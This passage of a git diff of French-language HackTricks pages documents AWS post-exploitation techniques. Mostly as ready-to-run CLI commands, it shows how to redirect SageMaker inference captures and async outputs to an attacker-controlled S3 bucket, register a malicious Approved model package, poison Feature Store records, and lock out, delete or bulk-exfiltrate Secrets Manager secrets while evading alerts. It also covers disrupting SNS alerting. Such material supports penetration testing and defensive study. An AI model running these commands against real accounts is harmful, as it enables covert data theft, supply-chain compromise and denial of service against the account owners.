||||
--data-capture-config file:///tmp/dc.json
|
||||
```
|
||||
4) Appliquer la nouvelle config via un rolling update (interruption minimale / aucune interruption)
|
||||
```bash
|
||||
aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG"
|
||||
aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP"
|
||||
```
|
||||
5) Générer au moins un appel d'inférence (optionnel si du trafic en direct existe)
|
||||
```bash
|
||||
echo '{"inputs":[1,2,3]}' > /tmp/payload.json
|
||||
aws sagemaker-runtime invoke-endpoint --region $REGION --endpoint-name "$EP" \
|
||||
--content-type application/json --accept application/json \
|
||||
--body fileb:///tmp/payload.json /tmp/out.bin || true
|
||||
```
|
||||
6) Valider les captures dans attacker S3
|
||||
```bash
|
||||
aws s3 ls s3://$BUCKET/capture/ --recursive --human-readable --summarize
|
||||
```
|
||||
### Impact
|
||||
- Exfiltration complète des payloads des requêtes et réponses d'inférence en temps réel (et des métadonnées) depuis l'endpoint ciblé vers un bucket S3 contrôlé par l'attaquant.
|
||||
- Aucun changement au model/container image et seulement des modifications au niveau de l'endpoint, ce qui permet un vol de données discret avec une perturbation opérationnelle minimale.
|
||||
|
||||
|
||||
## SageMaker async inference output hijack via UpdateEndpoint AsyncInferenceConfig
|
||||
|
||||
Abuser de la gestion de l'endpoint pour rediriger les sorties d'inférence asynchrones vers un bucket S3 contrôlé par l'attaquant en clonant l'EndpointConfig actuel et en définissant AsyncInferenceConfig.OutputConfig S3OutputPath/S3FailurePath. Cela exfiltre les prédictions du modèle (et tout input transformé inclus par le container) sans modifier le model/container.
|
||||
|
||||
### Requirements
|
||||
- IAM: `sagemaker:DescribeEndpoint`, `sagemaker:DescribeEndpointConfig`, `sagemaker:CreateEndpointConfig`, `sagemaker:UpdateEndpoint`
|
||||
- S3: Ability to write to the attacker S3 bucket (via the model execution role or a permissive bucket policy)
|
||||
- Target: An InService endpoint where asynchronous invocations are (or will be) used
|
||||
|
||||
### Steps
|
||||
1) Récupérer les ProductionVariants actuelles de l'endpoint cible
|
||||
```bash
|
||||
REGION=${REGION:-us-east-1}
|
||||
EP=<target-endpoint-name>
|
||||
CUR_CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --query EndpointConfigName --output text)
|
||||
aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "$CUR_CFG" --query ProductionVariants > /tmp/pv.json
|
||||
```
|
||||
2) Créer un attacker bucket (assurez-vous que le model execution role peut PutObject vers celui-ci)
|
||||
```bash
|
||||
ACC=$(aws sts get-caller-identity --query Account --output text)
|
||||
BUCKET=ht-sm-async-exfil-$ACC-$(date +%s)
|
||||
aws s3 mb s3://$BUCKET --region $REGION || true
|
||||
```
|
||||
3) Cloner EndpointConfig et hijack les outputs d'AsyncInference vers le bucket de l'attaquant
|
||||
```bash
|
||||
NEWCFG=${CUR_CFG}-async-exfil
|
||||
cat > /tmp/async_cfg.json << JSON
|
||||
{"OutputConfig": {"S3OutputPath": "s3://$BUCKET/async-out/", "S3FailurePath": "s3://$BUCKET/async-fail/"}}
|
||||
JSON
|
||||
aws sagemaker create-endpoint-config --region $REGION --endpoint-config-name "$NEWCFG" --production-variants file:///tmp/pv.json --async-inference-config file:///tmp/async_cfg.json
|
||||
aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG"
|
||||
aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP"
|
||||
```
|
||||
4) Déclencher une invocation asynchrone et vérifier que les objets arrivent dans le S3 de l'attaquant
|
||||
```bash
|
||||
aws s3 cp /etc/hosts s3://$BUCKET/inp.bin
|
||||
aws sagemaker-runtime invoke-endpoint-async --region $REGION --endpoint-name "$EP" --input-location s3://$BUCKET/inp.bin >/tmp/async.json || true
|
||||
sleep 30
|
||||
aws s3 ls s3://$BUCKET/async-out/ --recursive || true
|
||||
aws s3 ls s3://$BUCKET/async-fail/ --recursive || true
|
||||
```
|
||||
### Impact
|
||||
- Redirige les résultats d'inférence asynchrones (et les corps d'erreur) vers un S3 contrôlé par l'attaquant, permettant l'exfiltration clandestine des prédictions et des entrées potentiellement sensibles pré/post-traitées produites par le conteneur, sans modifier le code du modèle ou l'image et avec peu ou pas de temps d'arrêt.
|
||||
|
||||
|
||||
## SageMaker Model Registry injection dans la chaîne d'approvisionnement via CreateModelPackage(Approved)
|
||||
|
||||
Si un attaquant peut CreateModelPackage sur un SageMaker Model Package Group cible, il peut enregistrer une nouvelle version du modèle qui pointe vers une image de conteneur contrôlée par l'attaquant et la marquer immédiatement comme Approved. De nombreux pipelines CI/CD déploient automatiquement les versions de modèles Approved vers des endpoints ou des training jobs, entraînant l'exécution de code de l'attaquant sous les rôles d'exécution du service. L'exposition inter-comptes peut être amplifiée par une stratégie de ressource ModelPackageGroup permissive.
|
||||
|
||||
### Requirements
|
||||
- IAM (minimum pour empoisonner un groupe existant) : `sagemaker:CreateModelPackage` sur le ModelPackageGroup cible
|
||||
- Optionnel (pour créer un groupe si aucun n'existe) : `sagemaker:CreateModelPackageGroup`
|
||||
- S3 : accès en lecture au ModelDataUrl référencé (ou héberger des artefacts contrôlés par l'attaquant)
|
||||
- Cible : un Model Package Group que l'automatisation en aval surveille pour les versions Approved
|
||||
|
||||
### Steps
|
||||
1) Définir la région et créer/trouver un Model Package Group cible
|
||||
```bash
|
||||
REGION=${REGION:-us-east-1}
|
||||
MPG=victim-group-$(date +%s)
|
||||
aws sagemaker create-model-package-group --region $REGION --model-package-group-name $MPG --model-package-group-description "test group"
|
||||
```
|
||||
2) Préparer des données de modèle factices dans S3
|
||||
```bash
|
||||
ACC=$(aws sts get-caller-identity --query Account --output text)
|
||||
BUCKET=ht-sm-mpkg-$ACC-$(date +%s)
|
||||
aws s3 mb s3://$BUCKET --region $REGION
|
||||
head -c 1024 </dev/urandom > /tmp/model.tar.gz
|
||||
aws s3 cp /tmp/model.tar.gz s3://$BUCKET/model/model.tar.gz --region $REGION
|
||||
```
|
||||
3) Enregistrer une version de package de modèle Approved malveillante (ici bénigne) faisant référence à une image publique AWS DLC
|
||||
```bash
|
||||
IMG="683313688378.dkr.ecr.$REGION.amazonaws.com/sagemaker-scikit-learn:1.2-1-cpu-py3"
|
||||
cat > /tmp/inf.json << JSON
|
||||
{
|
||||
"Containers": [
|
||||
{
|
||||
"Image": "$IMG",
|
||||
"ModelDataUrl": "s3://$BUCKET/model/model.tar.gz"
|
||||
}
|
||||
],
|
||||
"SupportedContentTypes": ["text/csv"],
|
||||
"SupportedResponseMIMETypes": ["text/csv"]
|
||||
}
|
||||
JSON
|
||||
aws sagemaker create-model-package --region $REGION --model-package-group-name $MPG --model-approval-status Approved --inference-specification file:///tmp/inf.json
|
||||
```
|
||||
4) Vérifier que la nouvelle version Approved existe
|
||||
```bash
|
||||
aws sagemaker list-model-packages --region $REGION --model-package-group-name $MPG --output table
|
||||
```
|
||||
### Impact
|
||||
- Empoisonner le Model Registry avec une version Approved qui référence du code contrôlé par l'attaquant. Les Pipelines qui déploient automatiquement des modèles Approved peuvent récupérer et exécuter l'image contrôlée par l'attaquant, entraînant l'exécution de code sous les rôles endpoint/training.
|
||||
- Avec une politique de ressource ModelPackageGroup permissive (PutModelPackageGroupPolicy), cet abus peut être déclenché cross-account.
|
||||
|
||||
## Feature store poisoning
|
||||
|
||||
Abuser de `sagemaker:PutRecord` sur un Feature Group avec OnlineStore activé pour écraser les valeurs de features en direct utilisées par l'inférence en ligne. Combiné avec `sagemaker:GetRecord`, un attaquant peut lire des features sensibles. Cela ne nécessite pas d'accès aux models ou aux endpoints.
|
||||
|
||||
{{#ref}}
|
||||
feature-store-poisoning.md
|
||||
{{/ref}}
|
||||
@@ -0,0 +1,50 @@
|
||||
# SageMaker Feature Store online store poisoning
|
||||
|
||||
Exploiter `sagemaker:PutRecord` sur un Feature Group avec OnlineStore activé pour écraser les valeurs de feature en direct utilisées par l'inférence en ligne. Associé à `sagemaker:GetRecord`, un attaquant peut lire des features sensibles. Cela ne nécessite pas d'accès aux modèles ou aux endpoints.
|
||||
|
||||
## Prérequis
|
||||
- Permissions : `sagemaker:ListFeatureGroups`, `sagemaker:DescribeFeatureGroup`, `sagemaker:PutRecord`, `sagemaker:GetRecord`
|
||||
- Cible : Feature Group avec OnlineStore activé (typiquement utilisé pour l'inférence en temps réel)
|
||||
|
||||
## Étapes
|
||||
1) Choisir ou créer un petit Online Feature Group pour les tests
|
||||
```bash
|
||||
REGION=${REGION:-us-east-1}
|
||||
FG=$(aws sagemaker list-feature-groups --region $REGION --query "FeatureGroupSummaries[?OnlineStoreConfig!=null]|[0].FeatureGroupName" --output text)
|
||||
if [ -z "$FG" -o "$FG" = "None" ]; then
|
||||
ACC=$(aws sts get-caller-identity --query Account --output text)
|
||||
FG=ht-fg-$ACC-$(date +%s)
|
||||
ROLE_ARN=$(aws iam get-role --role-name AmazonSageMaker-ExecutionRole --query Role.Arn --output text 2>/dev/null || echo arn:aws:iam::$ACC:role/service-role/AmazonSageMaker-ExecutionRole)
|
||||
aws sagemaker create-feature-group --region $REGION --feature-group-name "$FG" --record-identifier-feature-name entity_id --event-time-feature-name event_time --feature-definitions "[{\"FeatureName\":\"entity_id\",\"FeatureType\":\"String\"},{\"FeatureName\":\"event_time\",\"FeatureType\":\"String\"},{\"FeatureName\":\"risk_score\",\"FeatureType\":\"Fractional\"}]" --online-store-config "{\"EnableOnlineStore\":true}" --role-arn "$ROLE_ARN"
|
||||
echo "Waiting for feature group to be in Created state..."
|
||||
for i in $(seq 1 40); do
|
||||
ST=$(aws sagemaker describe-feature-group --region $REGION --feature-group-name "$FG" --query FeatureGroupStatus --output text || true)
|
||||
echo $ST; [ "$ST" = "Created" ] && break; sleep 15
|
||||
done
|
||||
fi
|
||||
```
|
||||
2) Insérer/écraser un enregistrement en ligne (poison)
|
||||
```bash
|
||||
NOW=$(date -u +%Y-%m-%dT%H:%M:%SZ)
|
||||
cat > /tmp/put.json << JSON
|
||||
{
|
||||
"FeatureGroupName": "$FG",
|
||||
"Record": [
|
||||
{"FeatureName": "entity_id", "ValueAsString": "user-123"},
|
||||
{"FeatureName": "event_time", "ValueAsString": "$NOW"},
|
||||
{"FeatureName": "risk_score", "ValueAsString": "0.99"}
|
||||
],
|
||||
"TargetStores": ["OnlineStore"]
|
||||
}
|
||||
JSON
|
||||
aws sagemaker-featurestore-runtime put-record --region $REGION --cli-input-json file:///tmp/put.json
|
||||
```
|
||||
3) Relire l'enregistrement pour confirmer la manipulation
|
||||
```bash
|
||||
aws sagemaker-featurestore-runtime get-record --region $REGION --feature-group-name "$FG" --record-identifier-value-as-string user-123 --feature-name risk_score --query "Record[0].ValueAsString"
|
||||
```
|
||||
Résultat attendu : risk_score renvoie 0,99 (défini par l'attaquant), prouvant la capacité à modifier des features en ligne consommées par les modèles.
|
||||
|
||||
## Impact
|
||||
- Attaque d'intégrité en temps réel : manipuler les features utilisées par les modèles en production sans toucher les points de terminaison/modèles.
|
||||
- Risque de confidentialité : lire des features sensibles via GetRecord depuis OnlineStore.
|
||||
@@ -1,130 +0,0 @@
|
||||
# AWS - Secrets Manager Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Secrets Manager
|
||||
|
||||
For more information check:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-secrets-manager-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Lire les secrets
|
||||
|
||||
Les **secrets eux-mêmes sont des informations sensibles**, [consultez la page privesc](../aws-privilege-escalation/aws-secrets-manager-privesc.md) pour apprendre comment les lire.
|
||||
|
||||
### DoS : Changer la valeur du secret
|
||||
|
||||
Modifier la valeur du secret peut **provoquer un DoS sur tous les systèmes qui dépendent de cette valeur.**
|
||||
|
||||
> [!WARNING]
|
||||
> Notez que les valeurs précédentes sont également stockées, il est donc facile de revenir à la valeur précédente.
|
||||
```bash
|
||||
# Requires permission secretsmanager:PutSecretValue
|
||||
aws secretsmanager put-secret-value \
|
||||
--secret-id MyTestSecret \
|
||||
--secret-string "{\"user\":\"diegor\",\"password\":\"EXAMPLE-PASSWORD\"}"
|
||||
```
|
||||
### DoS Change KMS key
|
||||
|
||||
Si l'attaquant possède la permission secretsmanager:UpdateSecret, il peut configurer le secret pour utiliser une clé KMS appartenant à l'attaquant. Cette clé est initialement configurée de manière à ce que n'importe qui puisse y accéder et l'utiliser, permettant ainsi de mettre à jour le secret avec la nouvelle clé. Si la clé n'était pas accessible, le secret n'aurait pas pu être mis à jour.
|
||||
|
||||
Après avoir changé la clé du secret, l'attaquant modifie la configuration de sa clé de sorte que seul lui puisse y accéder. De cette façon, dans les versions suivantes du secret, il sera chiffré avec la nouvelle clé et, comme il n'y aura pas d'accès à celle-ci, la capacité de récupérer le secret serait perdue.
|
||||
|
||||
Il est important de noter que cette inaccessibilité ne se produira que sur les versions ultérieures, après que le contenu du secret ait changé, puisque la version actuelle est toujours chiffrée avec la clé KMS originale.
|
||||
```bash
|
||||
aws secretsmanager update-secret \
|
||||
--secret-id MyTestSecret \
|
||||
--kms-key-id arn:aws:kms:us-west-2:123456789012:key/EXAMPLE1-90ab-cdef-fedc-ba987EXAMPLE
|
||||
```
|
||||
### DoS Deleting Secret
|
||||
|
||||
Le nombre minimum de jours pour supprimer un secret est de 7.
|
||||
```bash
|
||||
aws secretsmanager delete-secret \
|
||||
--secret-id MyTestSecret \
|
||||
--recovery-window-in-days 7
|
||||
```
|
||||
## secretsmanager:RestoreSecret
|
||||
|
||||
Il est possible de restaurer un secret, ce qui permet la récupération de secrets programmés pour suppression, puisque la période minimale de suppression des secrets est de 7 jours et la maximale de 30 jours. Associée à la permission secretsmanager:GetSecretValue, cela permet de récupérer leur contenu.
|
||||
|
||||
Pour récupérer un secret qui est en cours de suppression, vous pouvez utiliser la commande suivante :
|
||||
```bash
|
||||
aws secretsmanager restore-secret \
|
||||
--secret-id <Secret_Name>
|
||||
```
|
||||
## secretsmanager:DeleteResourcePolicy
|
||||
|
||||
Cette action permet de supprimer la politique de ressource qui contrôle qui peut accéder à un secret. Cela pourrait entraîner un DoS si la politique de ressource était configurée pour autoriser l'accès à un ensemble spécifique d'utilisateurs.
|
||||
|
||||
Pour supprimer la politique de ressource:
|
||||
```bash
|
||||
aws secretsmanager delete-resource-policy \
|
||||
--secret-id <Secret_Name>
|
||||
```
|
||||
## secretsmanager:UpdateSecretVersionStage
|
||||
|
||||
Les états d'un secret sont utilisés pour gérer les versions d'un secret. AWSCURRENT marque la version active que les applications utilisent, AWSPREVIOUS conserve la version précédente afin que vous puissiez revenir en arrière si nécessaire, et AWSPENDING est utilisé dans le processus de rotation pour préparer et valider une nouvelle version avant d'en faire la version actuelle.
|
||||
|
||||
Les applications lisent toujours la version marquée AWSCURRENT. Si quelqu'un déplace cette étiquette vers la mauvaise version, les applications utiliseront des identifiants invalides et risquent d'échouer.
|
||||
|
||||
AWSPREVIOUS n'est pas utilisé automatiquement. Cependant, si AWSCURRENT est supprimé ou réaffecté incorrectement, il peut sembler que tout fonctionne encore avec la version précédente.
|
||||
```bash
|
||||
aws secretsmanager update-secret-version-stage \
|
||||
--secret-id <your-secret-name-or-arn> \
|
||||
--version-stage AWSCURRENT \
|
||||
--move-to-version-id <target-version-id> \
|
||||
--remove-from-version-id <previous-version-id>
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
### Exfiltration massive de secrets via BatchGetSecretValue (jusqu'à 20 par appel)
|
||||
|
||||
Abusez de l'API Secrets Manager BatchGetSecretValue pour récupérer jusqu'à 20 secrets dans une seule requête. Cela peut réduire drastiquement le volume d'appels API par rapport à l'itération GetSecretValue par secret. Si des filtres sont utilisés (tags/name), la permission ListSecrets est également requise. CloudTrail enregistre toujours un événement GetSecretValue par secret récupéré dans le batch.
|
||||
|
||||
Permissions requises
|
||||
- secretsmanager:BatchGetSecretValue
|
||||
- secretsmanager:GetSecretValue for each target secret
|
||||
- secretsmanager:ListSecrets if using --filters
|
||||
- kms:Decrypt on the CMKs used by the secrets (if not using aws/secretsmanager)
|
||||
|
||||
> [!WARNING]
|
||||
> Notez que la permission `secretsmanager:BatchGetSecretValue` n'est pas suffisante pour récupérer des secrets ; vous avez aussi besoin de `secretsmanager:GetSecretValue` pour chaque secret que vous souhaitez récupérer.
|
||||
|
||||
Exfiltrer par liste explicite
|
||||
```bash
|
||||
aws secretsmanager batch-get-secret-value \
|
||||
--secret-id-list <secret1> <secret2> <secret3> \
|
||||
--query 'SecretValues[].{Name:Name,Version:VersionId,Val:SecretString}'
|
||||
```
|
||||
Exfiltrer par filtres (clé/valeur de tag ou préfixe de nom)
|
||||
```bash
|
||||
# By tag key
|
||||
aws secretsmanager batch-get-secret-value \
|
||||
--filters Key=tag-key,Values=env \
|
||||
--max-results 20 \
|
||||
--query 'SecretValues[].{Name:Name,Val:SecretString}'
|
||||
|
||||
# By tag value
|
||||
aws secretsmanager batch-get-secret-value \
|
||||
--filters Key=tag-value,Values=prod \
|
||||
--max-results 20
|
||||
|
||||
# By name prefix
|
||||
aws secretsmanager batch-get-secret-value \
|
||||
--filters Key=name,Values=MyApp
|
||||
```
|
||||
Gestion des échecs partiels
|
||||
```bash
|
||||
# Inspect the Errors list for AccessDenied/NotFound and retry/adjust filters
|
||||
aws secretsmanager batch-get-secret-value --secret-id-list <id1> <id2> <id3>
|
||||
```
|
||||
Impact
|
||||
- Accès rapide de type “smash-and-grab” à de nombreux secrets avec moins d'appels API, contournant potentiellement des alertes calibrées sur des pics de GetSecretValue.
|
||||
- Les logs CloudTrail incluent toujours un événement GetSecretValue par secret récupéré par le lot.
|
||||
@@ -0,0 +1,130 @@
|
||||
# AWS - Secrets Manager Post Exploitation
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Secrets Manager
|
||||
|
||||
Pour plus d'informations, voir :
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-secrets-manager-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Lire les secrets
|
||||
|
||||
Les **secrets** eux-mêmes sont des informations sensibles, [consultez la page privesc](../../aws-privilege-escalation/aws-secrets-manager-privesc/README.md) pour apprendre à les lire.
|
||||
|
||||
### DoS — Changer la valeur du secret
|
||||
|
||||
En changeant la valeur du secret, vous pourriez **DoS tous les systèmes qui dépendent de cette valeur.**
|
||||
|
||||
> [!WARNING]
|
||||
> Notez que les valeurs précédentes sont également stockées, il est donc facile de revenir à la valeur précédente.
|
||||
```bash
|
||||
# Requires permission secretsmanager:PutSecretValue
|
||||
aws secretsmanager put-secret-value \
|
||||
--secret-id MyTestSecret \
|
||||
--secret-string "{\"user\":\"diegor\",\"password\":\"EXAMPLE-PASSWORD\"}"
|
||||
```
|
||||
### DoS Change KMS key
|
||||
|
||||
Si l'attaquant dispose de la permission secretsmanager:UpdateSecret, il peut configurer le secret pour qu'il utilise une KMS key appartenant à l'attaquant. Cette clé est initialement configurée de manière à ce que n'importe qui puisse y accéder et l'utiliser, ce qui rend possible la mise à jour du secret avec la nouvelle clé. Si la clé n'était pas accessible, le secret n'aurait pas pu être mis à jour.
|
||||
|
||||
Après avoir changé la clé du secret, l'attaquant modifie la configuration de sa clé pour que seul lui puisse y accéder. Ainsi, dans les versions suivantes du secret, celui-ci sera chiffré avec la nouvelle clé et, comme il n'y aura pas d'accès à cette clé, la possibilité de récupérer le secret sera perdue.
|
||||
|
||||
Il est important de noter que cette inaccessibilité n'interviendra que dans les versions ultérieures, après que le contenu du secret aura changé, puisque la version actuelle est encore chiffrée avec la KMS key originale.
|
||||
```bash
|
||||
aws secretsmanager update-secret \
|
||||
--secret-id MyTestSecret \
|
||||
--kms-key-id arn:aws:kms:us-west-2:123456789012:key/EXAMPLE1-90ab-cdef-fedc-ba987EXAMPLE
|
||||
```
|
||||
### DoS Suppression de Secret
|
||||
|
||||
Le nombre minimum de jours pour supprimer un Secret est de 7.
|
||||
```bash
|
||||
aws secretsmanager delete-secret \
|
||||
--secret-id MyTestSecret \
|
||||
--recovery-window-in-days 7
|
||||
```
|
||||
## secretsmanager:RestoreSecret
|
||||
|
||||
Il est possible de restaurer un secret, ce qui permet de récupérer des secrets programmés pour suppression, car la période minimale de suppression des secrets est de 7 jours et la maximale de 30 jours. Associé à la permission secretsmanager:GetSecretValue, cela permet de récupérer leur contenu.
|
||||
|
||||
Pour récupérer un secret en cours de suppression, vous pouvez utiliser la commande suivante :
|
||||
```bash
|
||||
aws secretsmanager restore-secret \
|
||||
--secret-id <Secret_Name>
|
||||
```
|
||||
## secretsmanager:DeleteResourcePolicy
|
||||
|
||||
Cette action permet de supprimer la resource policy qui contrôle qui peut accéder à un secret. Cela pourrait entraîner un DoS si la resource policy était configurée pour autoriser l'accès à un ensemble précis d'utilisateurs.
|
||||
|
||||
Pour supprimer la resource policy :
|
||||
```bash
|
||||
aws secretsmanager delete-resource-policy \
|
||||
--secret-id <Secret_Name>
|
||||
```
|
||||
## secretsmanager:UpdateSecretVersionStage
|
||||
|
||||
Les états d'un secret sont utilisés pour gérer les versions d'un secret. AWSCURRENT marque la version active utilisée par les applications, AWSPREVIOUS conserve la version précédente pour pouvoir revenir en arrière si nécessaire, et AWSPENDING est utilisé dans le processus de rotation pour préparer et valider une nouvelle version avant de la rendre courante.
|
||||
|
||||
Les applications lisent toujours la version marquée AWSCURRENT. Si quelqu'un déplace ce label vers la mauvaise version, les apps utiliseront des identifiants invalides et peuvent échouer.
|
||||
|
||||
AWSPREVIOUS n'est pas utilisé automatiquement. Cependant, si AWSCURRENT est supprimé ou réaffecté incorrectement, il peut sembler que tout fonctionne toujours avec la version précédente.
|
||||
```bash
|
||||
aws secretsmanager update-secret-version-stage \
|
||||
--secret-id <your-secret-name-or-arn> \
|
||||
--version-stage AWSCURRENT \
|
||||
--move-to-version-id <target-version-id> \
|
||||
--remove-from-version-id <previous-version-id>
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
### Exfiltration massive de secrets via BatchGetSecretValue (jusqu'à 20 par appel)
|
||||
|
||||
Abusez de l'API Secrets Manager BatchGetSecretValue pour récupérer jusqu'à 20 secrets dans une seule requête. Cela peut réduire fortement le volume d'appels API par rapport à l'itération avec GetSecretValue pour chaque secret. Si des filtres sont utilisés (tags/name), la permission ListSecrets est également requise. CloudTrail enregistre toujours un événement GetSecretValue par secret récupéré dans le batch.
|
||||
|
||||
Permissions requises
|
||||
- secretsmanager:BatchGetSecretValue
|
||||
- secretsmanager:GetSecretValue for each target secret
|
||||
- secretsmanager:ListSecrets if using --filters
|
||||
- kms:Decrypt sur les CMK utilisées par les secrets (si vous n'utilisez pas aws/secretsmanager)
|
||||
|
||||
> [!WARNING]
|
||||
> Notez que la permission `secretsmanager:BatchGetSecretValue` n'est pas suffisante pour récupérer les secrets, vous avez également besoin de `secretsmanager:GetSecretValue` pour chaque secret que vous souhaitez récupérer.
|
||||
|
||||
Exfiltrer par liste explicite
|
||||
```bash
|
||||
aws secretsmanager batch-get-secret-value \
|
||||
--secret-id-list <secret1> <secret2> <secret3> \
|
||||
--query 'SecretValues[].{Name:Name,Version:VersionId,Val:SecretString}'
|
||||
```
|
||||
Exfiltrate par filtres (tag key/value or name prefix)
|
||||
```bash
|
||||
# By tag key
|
||||
aws secretsmanager batch-get-secret-value \
|
||||
--filters Key=tag-key,Values=env \
|
||||
--max-results 20 \
|
||||
--query 'SecretValues[].{Name:Name,Val:SecretString}'
|
||||
|
||||
# By tag value
|
||||
aws secretsmanager batch-get-secret-value \
|
||||
--filters Key=tag-value,Values=prod \
|
||||
--max-results 20
|
||||
|
||||
# By name prefix
|
||||
aws secretsmanager batch-get-secret-value \
|
||||
--filters Key=name,Values=MyApp
|
||||
```
|
||||
Gestion des échecs partiels
|
||||
```bash
|
||||
# Inspect the Errors list for AccessDenied/NotFound and retry/adjust filters
|
||||
aws secretsmanager batch-get-secret-value --secret-id-list <id1> <id2> <id3>
|
||||
```
|
||||
Impact
|
||||
- Accès rapide “smash-and-grab” à de nombreux secrets avec moins d'appels API, pouvant potentiellement contourner les alertes configurées pour détecter les pics de GetSecretValue.
|
||||
- Les logs CloudTrail incluent toujours un événement GetSecretValue par secret récupéré par le lot.
|
||||
@@ -1,18 +1,18 @@
|
||||
# AWS - SES Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## SES
|
||||
|
||||
Pour plus d'informations, consultez :
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-ses-enum.md
|
||||
../../aws-services/aws-ses-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### `ses:SendEmail`
|
||||
|
||||
Envoyer un email.
|
||||
Envoyer un e-mail.
|
||||
```bash
|
||||
aws ses send-email --from sender@example.com --destination file://emails.json --message file://message.json
|
||||
aws sesv2 send-email --from sender@example.com --destination file://emails.json --message file://message.json
|
||||
@@ -25,6 +25,8 @@ Envoyer un e-mail.
|
||||
```bash
|
||||
aws ses send-raw-email --raw-message file://message.json
|
||||
```
|
||||
Encore à tester.
|
||||
|
||||
### `ses:SendTemplatedEmail`
|
||||
|
||||
Envoyer un e-mail basé sur un modèle.
|
||||
@@ -49,17 +51,19 @@ aws sesv2 send-bulk-email --default-content <value> --bulk-email-entries <value>
|
||||
```
|
||||
### `ses:SendBounce`
|
||||
|
||||
Envoyer un **email de rebond** sur un email reçu (indiquant que l'email n'a pas pu être reçu). Cela ne peut être fait **que jusqu'à 24h après la réception** de l'email.
|
||||
Envoyer un **message de rebond** sur un e-mail reçu (indiquant que l'e-mail n'a pas pu être reçu). Cela ne peut être fait que **jusqu'à 24h après la réception** de l'e-mail.
|
||||
```bash
|
||||
aws ses send-bounce --original-message-id <value> --bounce-sender <value> --bounced-recipient-info-list <value>
|
||||
```
|
||||
Encore à tester.
|
||||
|
||||
### `ses:SendCustomVerificationEmail`
|
||||
|
||||
Cela enverra un e-mail de vérification personnalisé. Vous pourriez également avoir besoin de permissions pour créer le modèle d'e-mail.
|
||||
Cela enverra un e-mail de vérification personnalisé. Vous pourriez également avoir besoin d'autorisations pour créer le modèle d'e-mail.
|
||||
```bash
|
||||
aws ses send-custom-verification-email --email-address <value> --template-name <value>
|
||||
aws sesv2 send-custom-verification-email --email-address <value> --template-name <value>
|
||||
```
|
||||
Toujours à tester.
|
||||
À tester.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,68 +0,0 @@
|
||||
# AWS - SNS Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## SNS
|
||||
|
||||
Pour plus d'informations :
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-sns-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Disrupt Messages
|
||||
|
||||
Dans plusieurs cas, les sujets SNS sont utilisés pour envoyer des messages à des plateformes qui sont surveillées (emails, messages slack...). Si un attaquant empêche l'envoi des messages qui alertent de sa présence dans le cloud, il pourrait rester indétecté.
|
||||
|
||||
### `sns:DeleteTopic`
|
||||
|
||||
Un attaquant pourrait supprimer un sujet SNS entier, entraînant une perte de messages et impactant les applications s'appuyant sur le sujet.
|
||||
```bash
|
||||
aws sns delete-topic --topic-arn <value>
|
||||
```
|
||||
**Impact potentiel** : Perte de messages et interruption de service pour les applications utilisant le sujet supprimé.
|
||||
|
||||
### `sns:Publish`
|
||||
|
||||
Un attaquant pourrait envoyer des messages malveillants ou indésirables au sujet SNS, provoquant potentiellement une corruption des données, déclenchant des actions non intentionnelles ou épuisant les ressources.
|
||||
```bash
|
||||
aws sns publish --topic-arn <value> --message <value>
|
||||
```
|
||||
**Impact potentiel** : Corruption des données, actions non intentionnelles ou épuisement des ressources.
|
||||
|
||||
### `sns:SetTopicAttributes`
|
||||
|
||||
Un attaquant pourrait modifier les attributs d'un sujet SNS, affectant potentiellement sa performance, sa sécurité ou sa disponibilité.
|
||||
```bash
|
||||
aws sns set-topic-attributes --topic-arn <value> --attribute-name <value> --attribute-value <value>
|
||||
```
|
||||
**Impact potentiel** : Des erreurs de configuration entraînant une dégradation des performances, des problèmes de sécurité ou une disponibilité réduite.
|
||||
|
||||
### `sns:Subscribe` , `sns:Unsubscribe`
|
||||
|
||||
Un attaquant pourrait s'abonner ou se désabonner d'un sujet SNS, pouvant ainsi obtenir un accès non autorisé aux messages ou perturber le fonctionnement normal des applications s'appuyant sur le sujet.
|
||||
```bash
|
||||
aws sns subscribe --topic-arn <value> --protocol <value> --endpoint <value>
|
||||
aws sns unsubscribe --subscription-arn <value>
|
||||
```
|
||||
**Impact potentiel** : Accès non autorisé aux messages, interruption de service pour les applications s'appuyant sur le sujet affecté.
|
||||
|
||||
### `sns:AddPermission` , `sns:RemovePermission`
|
||||
|
||||
Un attaquant pourrait accorder à des utilisateurs ou services non autorisés l'accès à un sujet SNS, ou révoquer les autorisations pour des utilisateurs légitimes, provoquant des perturbations dans le fonctionnement normal des applications qui dépendent du sujet.
|
||||
```css
|
||||
aws sns add-permission --topic-arn <value> --label <value> --aws-account-id <value> --action-name <value>
|
||||
aws sns remove-permission --topic-arn <value> --label <value>
|
||||
```
|
||||
**Impact potentiel** : Accès non autorisé au sujet, exposition des messages ou manipulation du sujet par des utilisateurs ou services non autorisés, perturbation du fonctionnement normal des applications s'appuyant sur le sujet.
|
||||
|
||||
### `sns:TagResource` , `sns:UntagResource`
|
||||
|
||||
